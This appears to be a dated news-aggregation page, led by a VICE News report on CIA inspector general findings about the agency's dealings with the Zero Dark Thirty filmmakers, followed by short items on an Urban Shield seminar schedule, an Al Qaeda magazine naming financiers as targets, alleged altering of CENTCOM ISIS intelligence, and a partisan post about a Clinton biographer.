The inspector general's reports said the CIA's working relationship with the filmmakers began in 2010, a year before bin Laden was killed.
"Based on a review of documentation and interviews, the inspector general's office determined the CIA's cooperation with filmmakers Mark Boal and Kathryn Bigelow began in 2010 when Panetta and Bigelow met at an event where Bigelow discussed her film project 'Tora Bora,' a film project involving the CIA's failure to capture [bin Laden], and Panetta offered the Agency's assistance."
Within days of bin Laden's death, Boal secured meetings with CIA officials and counterterrorism officers. According to the inspector general's report about potential ethics violations by CIA officers, Boal also sent a letter to George Little, then the director of the CIA's Office of Public Affairs, shortly after news broke about bin Laden's death.
Boal wished to discuss his new plan: Scrapping the script for Tora Bora and instead telling the story of how the CIA managed to find and kill bin Laden. Less than three weeks after bin Laden's death, Boal and Michael Feldman, a public relations representative for Tora Bora, met with CIA officials to discuss the new project.
The CIA inspector general said its investigators obtained 'conflicting information as to whether Panetta had knowledge Boal was in the audience at the time of the speech.'
Boal found out from the counterterrorism officers with whom he met that the CIA was going to hold a classified awards ceremony on June 24, 2011 to honor the individuals who were part of the team that hunted down bin Laden.
"Boal expressed interest in attending the ceremony and passed his request on to [a woman at the agency] for action," the CIA inspector general's report said.
The report added that the CIA gave Boal access to CIA personnel and facilities less than a month after bin Laden was killed in order to "further his research" for the ZDT screenplay.
In order to assist him in his research and in "capturing the atmospherics," a "continuation of his earlier meetings that were all 'blessed' by CIA officials" saw Boal invited to attend the CIA's classified bin Laden awards ceremony "held inside a large tent" outside of the main entrance of CIA headquarters in Langley, Virginia. It was attended by about 1,300 people.
"The audience was a mixture of both overt and covert personnel from across the Intelligence Community, as well as personnel from DOD and Congress. [Navy SEALs] who conducted the [bin Laden] raid were also in attendance," the CIA inspector general's report said.
It's unknown exactly who at the CIA extended the formal invitation to Boal. The inspector general's report says the CIA's Office of Public Affairs, which acts as the agency's liaison to the entertainment industry, arranged to have Boal present at the awards ceremony and told him it was off the record. But the report also notes that the office of the Director of Central Intelligence "approved the invitation to Boal."
"While the [CIA Office of Inspector General] determined several senior CIA officers were aware Boal would be attending the [bin Laden] Operation Awards Ceremony, [the Office of Inspector General] was unable to ascertain who specifically authorized Boal's invitation," the report said.
When confronted by the CIA inspector general, Panetta said he had no idea that Boal was present at the awards ceremony. But the CIA inspector general said its investigators obtained "conflicting information as to whether Panetta had knowledge Boal was in the audience at the time of the speech." At least one CIA employee told the inspector general that Panetta "had foreknowledge of Boal attending the ceremony."
Panetta told investigators at the CIA's Office of Inspector General that he would have been unable to identify Boal at the awards ceremony because he had never met the screenwriter. But the inspector general discovered Panetta's story didn't check out. Along with the email Boal had sent Panetta in April 2011, the inspector general determined that Panetta previously met Boal at the May 2010 White House Correspondents' Association Dinner. In fact, Panetta was seated at the same table as Boal and Bigelow and, as the separate CIA inspector general report into potential ethics violations makes clear, instructed Boal and Bigelow to contact him when they were ready to begin working on their original bin Laden movie, Tora Bora.
Also seated with Boal, Bigelow, and Panetta was former US Senator Evan Bayh, the onetime chairman of the Senate Intelligence Committee, who four years later would lead a CIA "accountability review board" over claims that the CIA spied on Senate staffers and breached their computers while they were researching and compiling the torture report. The agency's inspector general had found CIA officers culpable; Bayh's accountability board review completely exonerated them.
Additionally, the CIA inspector general said, "Panetta first met Kathryn Bigelow, Boal's co-producer, around April 2010, at a dinner in Washington'.... According to [redacted], Bigelow informed Panetta she was working on a movie project about the battle at Tora Bora."
A detailed timeline about the CIA's interaction with Bigelow and Boal identified the last communication as taking place on May 3, 2012, when a public affairs officer received "a call from the film's producers indicating the need to delay filming at [CIA] headquarters until late summer or early fall."
Panetta did not respond to VICE News' requests for comment.
A timeline detailing the CIA's interaction with Bigelow and Boal included in the inspector general's report.
The report said some CIA personnel feared Boal's presence at the bin Laden awards ceremony was not a good idea because he would be exposed to classified information contained in Panetta's speech, and asked for "assistance in warning Panetta." But another CIA employee told the inspector general it "never occurred to him that Boal's presence at the awards ceremony would pose a security problem."
(Some details about Panetta's disclosures to Boal were previously reported after the DoD's own inspector general report into the matter leaked two years ago. Moreover, the DoD has released documents that reveal that top military officials involved in the bin Laden operation also disclosed classified information to Bigelow and Boal.)
Panetta's prepared speech was classified "SECRET/NOFORN," which means "not releasable to any foreign nationals," and coordinated with the CIA's Office of Public Affairs "with the exception of several handwritten remarks made by" Panetta in the margins of the document. But the inspector general determined that Panetta's speech should have been classified "TOP SECRET" at the "sensitive compartmented level" because it contained classified information derived from the NSA and DoD.
The inspector general found that the "discrepancy in the classification of the speech was due to the fact that [redacted] did not coordinate the information in the speech with outside agencies beforehand."
"In his interview with the [Office of the Inspector General, the CIA employee who wrote portions of Panetta's speech] stated that he classified the speech SECRET based on information he received from the agency's Counterterrorism Center (CTC)," the inspector general's report said. "[Redacted] told [the Office of the Inspector General] that CTC notified him of the need to coordinate the information with NSA and DoD. However, [redacted] said that he elected not to coordinate the information due to the press of business at the time and that there was no requirement by [Office of Public Affairs] that speeches be coordinated ahead of time with outside agencies."
Panetta told the inspector general that he was unaware his speech contained classified information, though he later acknowledged that it contained information classified at the "secret" level. Still, he played down the seriousness of the misclassification and the fact that classified details were revealed to Boal, who does not hold a security clearance, by stating that portions of his remarks had already been revealed by President Barack Obama and other government officials after bin Laden was killed.
"Panetta stated that the presence of information in such a manner contributed to a confusing situation with respect to what information was officially released and what was not," the inspector general's report said.
After the ceremony, Boal, who was not interviewed by the inspector general as part of its investigation, was introduced to Navy Admiral William McRaven, who led the SEAL team mission that killed bin Laden. CIA employees interviewed by the inspector general's investigators could not recall if Boal spoke with Panetta after the ceremony.
* * *
That was the start of the CIA's yearlong working relationship with Boal and Bigelow. According to the ethics report, at least 10 CIA National Clandestine Service (NCS) officers "identified as involved in the hunt" for bin Laden and other CIA officials would go on to meet with Bigelow and Boal, and work on the ZDT script.
"The [bin Laden] operation team provided the filmmakers background on the intelligence portions of the [bin Laden] raid," the CIA ethics report said. One CIA officer said that she "provided an overview to Boal of the intelligence case [redacted] for the public roll out plan about the Bin Laden raid'.... [Redacted] advised that Boal and Bigelow visited CTC offices to get the working condition atmospherics and the personal interactions the team experienced working the [bin Laden] operation. [Redacted] commented that Boal and Bigelow were interested in the human element for the Zero Dark Thirty movie."
At one point, an officer told the inspector general's investigators that she "covered up classified [sic] on her desk when Boal and Bigelow visited."
Soon after the filmmakers told the agency that their project would focus on the CIA's finding and killing of bin Laden in 2011, they met and spoke regularly with agency officials at CIA headquarters in Langley, as well as in Washington, DC and Los Angeles. One officer said Boal "needed to talk to Agency officers as part of the project to get a feeling of what it was like to hunt [bin Laden]."
Related: The CIA Just Admitted That It Spied on the US Senate
Bigelow and Boal frequently treated CIA personnel to drinks and meals valued at a total of more than $1,000. It was this revelation by a CIA officer who was interviewed by a member of the inspector general's staff on May 16, 2012 that prompted a larger probe involving interviews with six CIA officers to find out if those who worked on ZDT "committed any statutory or regulatory violations by accepting means and gifts" from the filmmakers.
According to the ethics report, one CIA officer who met with Boal at the Jefferson Hotel in Washington, DC had decided to relocate the meetings from CIA headquarters to Boal's hotel suite in late June 2011 to "minimize the talk and avoid jealousy" in the counterterrorism center. The meetings lasted two to four hours, and the officer recalled that she ordered grilled cheese, French fries, and a soda while they worked.
"Jealousy in CTC over who was getting 'face time' with the filmmakers led the [Office of Public Affairs] to move some meetings off campus," the report said.
The officer said the "off campus" meetings were quieter, and that the purpose was to "obtain unclassified information to develop the female actor's character, and talk through issues." She told the inspector general "that the conversation topics she shared with Boal and Bigelow during meetings included how the [bin Laden] operation team got from point A to point B."
When the pair broke for dinner, they dined either at the hotel restaurant or at the now-closed French restaurant Citronelle. Boal always paid, she told the inspector general.
The officer's first introduction to Bigelow was over the phone in Boal's hotel suite at the Jefferson. At the time, Bigelow was in Tahiti shooting a commercial for Chanel. Later, in July 2011, that officer met Boal and Bigelow at the Ritz-Carlton in Georgetown, and Bigelow gave the officer a pair of "black Tahitian pearl earrings" as a thank-you for helping with the film project.
During the inspector general's investigation, the officer voluntarily turned over the earrings to the CIA watchdog so that they could be appraised.
"The jeweler offered his professional opinion that the earrings were not worth a formal appraisal, citing the pearls were painted, not genuine black pearls, and that the posts were not platinum," the inspector general's report said. "The jeweler said the appraisal would cost more than the earrings. The jeweler also said that he estimated the value of the earrings to be 'no more than $200' but 'would ask between $60 and $70 if he were selling the earrings on eBay.'"
After the non-appraisal, the earrings were returned to the officer.
That woman, according to a CIA officer in the agency's counterterrorism division who reviewed the documents obtained by VICE News, is one of the people on whom Maya, the main character in ZDT, is based. In the movie, it is Maya's tireless work, along with intelligence obtained from detainees after they've been tortured, that is responsible for revealing the identity of bin Laden's courier, which in turn leads the CIA to bin Laden.
The officer on whom Maya was reportedly partly based would go on to tell investigators that she had three further in-person "social contacts" with Boal and/or Bigelow without members of the Office of Public Affairs present, having "developed a friendship with [the filmmakers] over time." This included a dinner at the members-only social club Soho House in Los Angeles while the officer was on vacation in August 2011. At the dinner, the officer gave Bigelow a "mini Burka and a publicly available FBI wanted poster of Bin laden that had 'Deceased' written across it." Bigelow offered to arrange a private screening of ZDT at the Soho House for the officer and her family when the movie came out.
When the officer checked with CIA public affairs, however, she was told not to accept the offer.
In November 2011, the officer "spent about eight hours shopping and dining" with Boal the day after reviewing the script. While shopping, "she saw something designed by Prada and commented that she liked the designer. Boal said he knew the designer personally and offered her tickets to a Prada fashion show." The officer declined, believing she wouldn't be allowed to accept.
She was then advised by CIA to cut off contact with Boal. Her last conversation with him was in May 2012, "when she told him she could no longer maintain contact with him."
"Boal said he understood, but e-mailed her another three clips from the movie set and said that she could send the clips to spam or delete them," the inspector general's ethics report said.
The CIA officer told the inspector general's staff that Boal tried to get her to sign a release form at one of their meetings. He explained, "that a person who did not like how they were portrayed in the Hurt Locker sued him." (Boal and Bigelow and previously written and directed The Hurt Locker.) The CIA officer, however, did not sign it.
* * *
The "Maya" officer wasn't the only CIA employee who met with Bigelow and Boal while on vacation in Los Angeles during production of the movie. One officer who had several meals with the filmmakers in Washington, DC met Boal in Hollywood for a meal, then drove to a beach house in nearby Malibu where he met with Bigelow and "relaxed and conversed." The officer told investigators that he paid for all of his travel costs, and that others at the CIA were aware of his travel plans. He said he stayed in contact with Boal via personal email, but that the correspondence ended in February 2012.
The officer also told investigators that "in meetings with BoaI, he provided some background on history of the lead, described time periods, field experiences of a typical case officer, impact of the Khost [Afghanistan] attack on [CIA] personnel in terms of morale and following efforts, the strategic view of the hunt for [bin Laden] and ongoing efforts to dismantle AI Q'aida, and the relationship with the US military in general on operations. In regard to meetings where Bigelow was present, [the officer] stated that she seemed most interested in 'what's it like in the field.'"
The "Khost attack" refers to a 2009 suicide bombing at Camp Chapman in Afghanistan dramatized in ZDT. The attack killed nine people, including a CIA officer named Jennifer Matthews who had worked on the CIA's bin Laden team since the 1990s. Matthews was another one of the CIA officers on whom Maya was based.
The officer admitted he had not reported to the CIA a gift he received from Boal '-- a bottle of tequila that Boal said "was worth several hundred dollars." According to an email included in the documents obtained by VICE News, someone at CIA attempted to find out how much the tequila was worth.
"I was able to find the tequila we discussed online," the CIA employee, whose name is redacted, wrote. "It prices at $169.99 (that's the highest I saw for it)."
Whether or not the officer knew if he was required to report the gift is unclear. He told the inspector general that "neither OPA or Office of General Counsel provided any guidance on what could or could not be discussed, nor guidance of reporting meetings with the filmmakers." Instead, he said, he and other members of the CIA's Counterterrorism Center "developed their own 'red line' topics which they would not discuss or elaborate upon."
Boal had met with another CIA officer just once for 30 minutes at the Ritz-Carlton hotel in Georgetown. The officer said he gave Boal a copy of the book "Kill Bin Laden that he signed with apologies, since Boal wrote the screenplay based on the book that became invalid once [bin Laden] was killed."
The book, subtitled "A Delta Force Commander's Account of the Hunt for the World's Most Wanted Man," is described as "the first eyewitness account of the Battle of Tora Bora" and was written by Dalton Fury.
Boal then offered the CIA officer tickets to the premiere of ZDT, but the officer "did not find the offer genuine."
A person who appears to be an OPA official told investigators that "the authorization to support the [bin Laden] movie project came from the Director of Central Intelligence suite'.... OPA's role in the movie project was to be present at meetings between the film producers and Agency officers'.... Boal needed to talk to Agency officers as part of the project, and those officers were not to interact with the film producers without OPA being present."
Boal had vetted his script with CIA officers and public affairs officials numerous times, both in person and telephonically. The timeline included in the cache of documents said Boal also "reads his script over the telephone" to public affairs officers on October 26, November 1, November 18, and December 5 "so that [public affairs] could determine If the script inadvertently exposed any sensitivities."
One CIA official told investigators that Boal walked him through the ZDT script "during four or five telephone conversations in September or October 2011." The official, whose name is redacted, "offered that he checked the names in the script to ensure they were not close to true names."
The official said he and another person whose name is redacted reviewed the script for "egregious errors like having dogs in the interrogation scenes." The officer said that he told Boal this was inaccurate because "CIA would never have dogs in an interrogation room." Boal was also told that a scene that showed "Agency officers partying and shooting guns" was inaccurate because "Agency officers would not do that." Other concerns were raised about detainee debriefing scenes that depicted captives being "punched and kicked."
At some point, a CIA official "put a stop to CTC officers having further media contact."
The Office of the Inspector General concluded that all of the CIA officers it interviewed "accepted gifts, to include meals, from Boal and/or Bigelow." However, the inspector general "did not discover any evidence" that the officers "were given any guidance regarding the acceptance of meals and gifts from the filmmakers." One of the CIA officers mailed Boal and Bigelow's production company a $500 check for the meals she was treated to after the inspector general's probe.
Moreover, the inspector general "did not discover any evidence" that the CIA's Office of Public Affairs "or any other office in the CIA provided clear guidance to any" of the National Clandestine Service officers "who met with the filmmakers about what could or could not be discussed or any rules of conduct regarding those interactions with the exception that [one CIA officer] was eventually told to submit a [statement of compliance form] to report her social contact with the filmmakers, and subsequently, to cease her interactions with the filmmakers."
The inspector general "also did not discover any evidence that the NCS officers who met with the filmmakers disclosed any classified information" to the filmmakers.
Still, Bigelow and Boal's interactions with the CIA resulted in a movie whose narrative was disputed by lawmakers, journalists, and intelligence officials who had worked on the film.
Though the movie makes clear as it opens that it is "based on first-hand accounts of actual events," Senator Dianne Feinstein, the chairwoman of the Senate Intelligence Committee, who spearheaded the Senate's investigation into the CIA's torture program while ZDT was in production, wrote an unprecedented letter sent to the head of Sony Pictures, which distributed the film.
That letter, dated December 19, 2012, the day ZDT was released, said that the movie "is factually inaccurate, and we believe that you have an obligation to state that the role of torture in the hunt for Usama Bin Laden is not based on the facts, but rather part of the film's fictional narrative."
Michael Morrell, the former acting director of the CIA, who is identified in the inspector general report as having met with Bigelow and Boal to discuss their film, said in a statement disseminated to CIA employees a week after the movie was released that it is "not a realistic portrayal of the facts," but a "dramatization."
At one time, the Senate Intelligence Committee investigated the CIA's contacts with Bigelow and Boal and whether the CIA was responsible for the film's depiction of torture and its efficacy in getting a courier to give up information that lead to bin Laden's location, but little came of the probe. Peter King, however, has continued to demand a full public accounting from the Obama administration about the disclosures.
Neither Bigelow nor a spokesperson for Boal responded to VICE News' requests for comment. Both filmmakers have been guarded about their working relationship with the CIA and have chalked up criticism of their film to "politics." In an interview with Empire magazine, Boal said he did not want to discuss his research for fear that it "will come back to haunt me in a Senate hearing, which is a real possibility."
Bigelow, in an account published in the Los Angeles Times on January 15, 2013, responded to criticisms about the movie's depiction of torture and the role ZDT suggested it played in leading the CIA to bin Laden.
"Confusing depiction with endorsement is the first step toward chilling any American artist's ability and right to shine a light on dark deeds, especially when those deeds are cloaked in layers of government secrecy and obfuscation," Bigelow wrote. "On a practical and political level, it does seem illogical to me to make a case against torture by ignoring or denying the role it played in US counter-terrorism policy and practices."
* * *
The inspector general identified several potential criminal violations of federal law '-- Panetta's unauthorized disclosure of classified information to Boal, and a separate federal violation of transmitting or losing of defense information.
Additionally, the inspector general's audit staff identified as a potential violation of federal criminal law the bribery of public officials and witnesses by Bigelow and Boal. The cases were referred back to the Justice Department for criminal prosecution, but Justice declined to prosecute in favor of "administrative action" by the CIA.
The CIA did not take any action.
Mark Zaid, a Washington, DC-based attorney who has represented intelligence community employees in cases involving the leaking of classified information, told VICE News that the circumstances surrounding Panetta's "apparent inadvertent disclosure of classified information to a Hollywood film producer was a comedy of errors and failure of coordination within CIA."
"At worst, perhaps administrative discipline should be meted out to several officials and notations placed within their security files, but frankly, any harm that occurred appears to be virtually non-existent," Zaid said. "The real lesson to be learned from this episode is that CIA does what it wants with classified information if it serves its interests and punishes only those who run afoul of its policies or management."
Since the disclosures to Bigelow and Boal and the inspector general's probes, the CIA's Office of Public Affairs developed a new written policy "to create a single point of reference that will govern future interactions with the entertainment industry." The formal policy, "Management Guidance on Contact with the Entertainment Industry and Support to Entertainment Industry Projects," was issued in December 2012, a copy of which VICE News has requested under the Freedom of Information Act.
Follow Jason Leopold (@JasonLeopold) and Ky Henderson (@kyhenderson) on Twitter.
Topics:zero dark thirty, zdt, kathryn bigelow, mark boal, cia, michael morrell, osama bin laden, tora bora, torture, waterboarding, enhanced interrogation techniques, eits, sony pictures, dianne feinstein, senate intelligence committee, peter king, department of defense, leon panetta, bin laden awards ceremony, foia, freedom of information act, cia inspector general, afghanistan, americas, united states, defense & security
CIA helped produce 'Zero Dark Thirty'
Thu, 10 Sep 2015 07:11
"Zero Dark Thirty" has always been controversial. The movie depicted the CIA's hunt for Osama bin Laden and the eventual Navy SEAL raid that killed him.
Even before it was released in December 2012, the movie had kicked off a firestorm among both politicians and citizens.
Containing details and narratives that weren't included in previous news reports about the May 2, 2011 raid, "Zero Dark Thirty" also raised questions about the CIA's involvement in the making of the movie.
Declassified documents from 2013 revealed the CIA did indeed work with Mark Boal, the movie's screenwriter, on the script. Boal vetted CIA members for feedback and made changes accordingly, such as removing a scene where an agent drunkenly fires his AK-47 into the air. He also made Maya, the movie's main character, less involved in torture scenes.
Not only did the CIA provide privileged information to Boal, but Leon Panetta, the Director of the CIA under President Obama from 2009 to 2011, personally offered to help Boal with obtaining information from the CIA while writing a screenplay and gave him classified information about the bin Laden raid, according to new documents obtained by Vice.
Kathryn Bigelow and Mark Boal made "Zero Dark Thirty" with the goodwill and cultural capital that came out of making "The Hurt Locker" in 2009.
Boal's next project after "The Hurt Locker" was supposed to be called "Tora Bora". It was intended to be about the US's failure to capture Osama bin Laden. That was before bin Laden was caught and killed.
He then changed tack and starting writing the script that eventually became "Zero Dark Thirty." For research, he could rely on Panetta, who offered Bigelow and Boal help with the creation of "Tora Bora," according to the documents obtained by Vice.
Days after the bin Laden raid, Boal met with officials in the CIA and other counterterrorist units to discuss ethical violations by CIA officers involved in the raid. Panetta, Bigelow, and Boal had all met earlier '-- the three sat at the same table at the 2010 Washington Correspondents' Association. Panetta had first met Bigelow earlier that year at another dinner in Washington.
Sony / Columbia PicturesJessica Chastain as "Maya" in "Zero Dark Thirty."
On June 24, 2011, long before the Oscars, the CIA held an awards ceremony of its own '-- honoring the people who were involved in the hunt to find bin Laden. The organization invited Boal as well, though an internal inspection by the CIA found conflicting information about whether or not Panetta himself approved of the invitation. Panetta gave a speech at the dinner, part of which was classified. Though Boal has no classification status, he was at the ceremony and was therefore exposed to the classified information.
Throughout Boal and Bigelow's research for "Zero Dark Thirty", they met with CIA officials to gather information to maintain accuracy about the events, characters, and atmosphere of the film. They frequently treated officials to meals and drinks totaling more than $1,000 and also purchased gifts for some of them.
Following the release of "Zero Dark Thirty", the CIA changed its procedures for interacting with the entertainment industry. It issues new procedures to insure the protection of classified information and created a new centralized record-keeping system for requests from the industry.
The ethical violations Boal and Panetta talked about shortly after the raid can be traced to the depiction of torture in the film. Many politicians and pundits interpret the film as an implicit depiction of torture because it was successfully used to find information that led to bin Laden's capture. The day "Zero Dark Thirty" was released, Dianne Feinstein, the chair of the Senate Intelligence Committee, penned a sharp letter addressed at Sony, the movie's producer, accusing them of misrepresenting the CIA's use of torture.
"As you know, the film graphically depicts CIA officers repeatedly torturing detainees and then credits these detainees with providing critical lead information on the courier that led to...Bin Laden," Feinstein wrote. "The use of torture in the fight against terrorism did severe damage to America's values and standing that cannot be justified or expunged ... You have a social and moral obligation to get the facts right."
Feinstein has a long, complicated relationship with the CIA; she dogged them for years until they finally released a truncated and partially censored version of their torture report, recounting in detail their use of torture in the post-9/11 Bush era, last year. The report also says that torture had nothing to do with the finding of Osama bin Laden.
The Senate Intelligence Committee also launched an investigation in January 2013 into contacts between the CIA and the makers of "Zero Dark Thirty", but dropped it a month and a half later.
Peter King, then the chair of the House Committee on Homeland Security (he is still a member of it), also criticized the movie for its depiction of torture and launched a separate inquiry about the possibility of leaked classified information from the CIA to Boal. King is still demanding a public accounting from the Obama administration on the subject, according to Vice.
Read the original article on INSIDER. Copyright 2015. Follow INSIDER on Twitter.
Urban Shield 2015 - Event Schedule
Thu, 10 Sep 2015 03:52
Urban Shield 2015
Friday, September 11, 2015, 0800 '' 1700 hoursAlameda County Fairgrounds 4501 Pleasanton Ave, Pleasanton, California 94566
0730 '' 0900 hours Check-In (Front of Building A)
Seminar and Vendor Show Scehdule
Download "Regional Preparedness Training Seminar and Vendor Show" Brochure
Building B0800 '' 0900 hours Domestic & Global Trends in the Use of Improvised Explosive Devices (IEDs) and an Introduction to the DHS Office for Bombing PreventionRobert Whitehurst, Multi-Jurisdictional IED Security Planning (MJIEDSP) Unit Chief,Office for Bombing Prevention Protective Security Coordination Division, Dept. of Homeland Security
0900 '' 0915 hours Break / Vendor Show
0915 '' 1015 hours Regional Catastrophic PlansJanell Myhre, Regional Program Manager, BAUASI
1015 '' 1030 hours Break / Vendor Show
1030 '' 1130 hours Nuclear Threat Devices and How Easily They Might Be Smuggled into the U.S.Dr. Gary Richter
1130 '' 1200 hours Break / Vendor Show
1200 '' 1300 hours Understanding the Rad/Nuke Terrorism Threat: Knowing the AdversaryJohn Sawyer, Commercialization Director, National Consortium for the Study ofTerrorism & Responses to Terrorism (START)
1300 '' 1400 hours Lunch / Vendor Show (South Side, Building A)
1400 '' 1530 hours Large Scale Event Planning '' Super Bowl 50, Santa ClaraPhil Cooke, Captain, Santa Clara Police Department
Building C0900 '' 1030 hours The Police Foundation's Review of the Bank of the West Robbery and Hostage TakingRick Braziel, retired Chief, Sacramento Police DepartmentEric Jones, Chief of Police, Stockton Police Department
1030 '' 1100 hours Break / Vendor Show (South Side, Building A)
1100 '' 1230 hours Isla Vista Mass Murder: U.C. Santa BarbaraKelly A. Moore, Lieutenant, Santa Barbara County Sheriff's OfficeKevin Huddle, Sergeant, Santa Barbara County Sheriff's OfficeJoe Schmidt, Detective, Santa Barbara County Sheriff's Office
1230 '' 1330 hours Lunch / Vendor Show (South Side, Building A)
1330 '' 1530 hours Aurora Colorado Theatre MassacreJames Puscian, Division Chief, Aurora Police DepartmentMike Dailey, Commander, District 2, Aurora Police Department
1530 '' 1700 hours Seminar Ends / Vendor Show
Seminar and Lunch Provided at NO COSTRegister no later than Friday, September 4, 2015, at http://ustraining.acso.netFor more information contact Jane Manzo at 510-272-6921 or email This email address is being protected from spambots. You need JavaScript enabled to view it.
Team Check In, Vendor Show and Hot Wash/Banquet Schedule
Alameda County Fairgrounds | 4501 Pleasanton Avenue, Pleasanton, California 94566
Friday | September 11, 2015 | 0730 - 1700 hours0730 '' 0800 hours Team Check-In0800 '' 1500 hours Vendor Show
Monday | September 14, 2015 | 1600 '' 2100 hours1600 hours No Host Bar1700 hours Banquet Room Doors Open1800 hours Dinner and Presentation Begins2100 hours Event Ends
Al Qaeda Mag Urges Attack on Koch Brothers, Buffett, Bloomberg - NBC News
Thu, 10 Sep 2015 06:56
Warren Buffett RICK WILKING / Reuters
The slickly produced magazine article begins with a photo illustration showing blood-spattered pictures of several of the leaders next to a dripping gun. Its stated goal is to derail the "revival of the America Economy."
The article says the "economic personalities" and "wealthy entrepreneurs" can get off the list by withdrawing their money from U.S. banks, investing their wealth outside American soil, and denouncing support for Israel.
Evan Kohlmann of Flashpoint Intelligence, an NBC News counterterrorism analyst, said that while much of the magazine's content is "somewhat aspirational," it has also played a role in actual plots.
"There is compelling evidence from the Boston Marathon bombings and other various thwarted terror plots that homegrown jihadists have specifically looked to the magazine for guidance on what targets to attack '-- and have taken that advice quite literally," he said.
Inspire magazine is published online by al Qaeda in the Arabian Peninsula and was once edited by American-raised jihadi Samir Khan, who was killed in 2011 drone attack along with cleric Anwar al-Awlaki.
It's best known for an article titled, "How To Make A Bomb in the Kitchen of Your Mom," which provided a recipe for explosives.
Bill Gates Nati Harnik / AP
This is at least the second time U.S. financial leaders have been named as targets by al Qaeda in the Arabian Peninsula. Inspire 13, issued in late December 2014, also included Bernanke and Gates as potential targets.
A senior U.S. intelligence official told NBC News that the article is an example of al Qaeda's newfound focus on lone-wolf attacks, taking a page from from ISIS' strategy book.
Exclusive: 50 Spies Say ISIS Intelligence Was Cooked - The Daily Beast
Thu, 10 Sep 2015 07:00
'Cancer Within'09.09.159:00 PM ET
It's being called a 'revolt' by intelligence pros who are paid to give their honest assessment of the ISIS war'--but are instead seeing their reports turned into happy talk.
More than 50 intelligence analysts working out of the U.S. military's Central Command have formally complained that their reports on ISIS and al Qaeda's branch in Syria were being inappropriately altered by senior officials, The Daily Beast has learned.
The complaints spurred the Pentagon's inspector general to open an investigation into the alleged manipulation of intelligence. The fact that so many people complained suggests there are deep-rooted, systemic problems in how the U.S. military command charged with the war against the self-proclaimed Islamic State assesses intelligence.
''The cancer was within the senior level of the intelligence command,'' one defense official said.
Two senior analysts at CENTCOM signed a written complaint sent to the Defense Department inspector general in July alleging that the reports, some of which were briefed to President Obama, portrayed the terror groups as weaker than the analysts believe they are. The reports were changed by CENTCOM higher-ups to adhere to the administration's public line that the U.S. is winning the battle against ISIS and al Nusra, al Qaeda's branch in Syria, the analysts claim.
That complaint was supported by 50 other analysts, some of whom have complained about politicizing of intelligence reports for months. That's according to 11 individuals who are knowledgeable about the details of the report and who spoke to The Daily Beast on condition of anonymity.
The accusations suggest that a large number of people tracking the inner workings of the terror groups think that their reports are being manipulated to fit a public narrative. The allegations echoed charges that political appointees and senior officials cherry-picked intelligence about Iraq's supposed weapons program in 2002 and 2003.
The two signatories to the complaint were described as the ones formally lodging it, and the additional analysts are willing and able to back up the substance of the allegations with concrete examples.
One person who knows the contents of the complaint said it used the word ''Stalinist'' to describe the tone set by officials overseeing the military's analysis.
Some of those CENTCOM analysts described the sizeable cadre of protesting analysts as a ''revolt'' by intelligence professionals who are paid to give their honest assessment, based on facts, and not to be influenced by national-level policy. The analysts have accused senior-level leaders, including the director of intelligence and his deputy in CENTCOM, of changing their analyses to be more in line with the Obama administration's public contention that the fight against ISIS and al Qaeda is making progress. The analysts take a more pessimistic view about how military efforts to destroy the groups are going.
The large number of analysts who complained to the Pentagon inspector general hasn't been previously reported. Some of them are assigned to work at CENTCOM, the U.S. military's command for the Middle East and Central Asia, but are officially employed by the Defense Intelligence Agency.
The complaints allege that in some cases key elements of intelligence reports were removed, resulting in a document that didn't accurately capture the analysts' conclusions, sources familiar with the protest said. But the complaint also goes beyond alleged altering of reports and accuses some senior leaders at CENTCOM of creating an unprofessional work environment. One person who knows the contents of the written complaint sent to the inspector general said it used the word ''Stalinist'' to describe the tone set by officials overseeing CENTCOM's analysis.
Many described a climate in which analysts felt they could not give a candid assessment of the situation in Iraq and Syria. Some felt it was a product of commanders protecting their career advancement by putting the best spin on the war.
Some reports crafted by the analysts that were too negative in their assessment of the war were sent back the chain of the command or not shared up the chain, several analysts said. Still others, feeling the climate around them, self-censored so their reports affirmed already-held beliefs.
''While we cannot comment on the specific investigation cited in the article, we can speak to the process. The Intelligence Community routinely provides a wide range of subjective assessments related to the current security environment. These products and the analysis that they present are absolutely vital to our efforts, particularly given the incredibly complex nature of the multi-front fights that are ongoing now in Iraq and Syria,'' said Air Force Col. Patrick Ryder, U.S. CENTCOM spokesman. ''Senior civilian and military leadership consider these assessments during planning and decision-making, along with information gained from various other sources, to include the insights provided by commanders on the ground and other key advisors, intelligence collection assets, and previous experience.''
Two of the officials who spoke to The Daily Beast said that analysts began airing their complaints in October in an effort to address the issue internally and only went to the inspector general when that effort failed. Some of those who complained were urged to retire, one official familiar with the report told The Daily Beast. Some agreed to leave.
In recent months, members of the Obama administration have sought to paint the fight against ISIS in rosy hues'--despite the terror army's seizure of major cities like Mosul and Fallujah.
''ISIS is losing,'' John Allen, the retired Marine general charged with coordinating the ISIS campaign, said in July.
''I am confident that over time, we will beat, we will, indeed, degrade and ultimately destroy ISIL,'' Secretary of State John Kerry said in March, using the government's preferred acronym for the group.
''No, I don't think we're losing,'' President Obama said in May.
Yet a growing group of intelligence analysts persisted with their complaints. For some, who have served at CENTCOM for more than a decade, scars remained from the run-up to the 2003 war in Iraq, when poorly written intelligence reports suggesting Iraq had weapons of mass destruction, when it did not, formed the basis of the George W. Bush administration's case for war.
''They were frustrated because they didn't do the right thing then'' and speak up about their doubts on Iraq's weapons program, the defense official told The Daily Beast.
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Hillary 2016
Hillary & Mary Steenburgen
Thu, 10 Sep 2015 05:01
Hillary Biographer Crude Propagandist
Parade of Lies, Part 6
Here's the big news in this June 21, 2005, Washington Post story about Hillary Clinton's most recent biographer, Edward Klein:
Since 1991, he has been the author of Walter Scott's Personality Parade in Parade, which is inserted into 37 million Sunday newspapers across the country.
Here's what he wrote on Nov. 1, 2001, in the wake of the 9-11 tragedy:
Q. Before our war on terrorists began, how well did Osama bin Laden and Saddam Hussein, the ½½½world's top terrorists, get along?½ - C. Barnes, San Antonio, Texas
½ A. Not well at all, but they worked together on the principle that the enemy of my enemy is my friend.½ Intelligence sources tell us Saddam encouraged attacks on U.S. targets because he harbors a deep resentment against George H. W. Bush, who created the coalition that defeated Iraq in the Gulf War. Our sources say Saddam figured the most effective way to punish the former President was to hurt his son, who now occupies the White House. It was a massive miscalculation. The recent outpouring of patriotic fervor pushed George W. Bush's popularity rating to more than 90%.½
He was whipping up war fever against Iraq that early in the game, citing bogus "intelligence sources." Now don't you wonder what he's up to?
Red Pencils Are Drawn Over New Clinton Book
By Ann Gerhart Washington Post Staff Writer Tuesday, June 21, 2005; Page C01
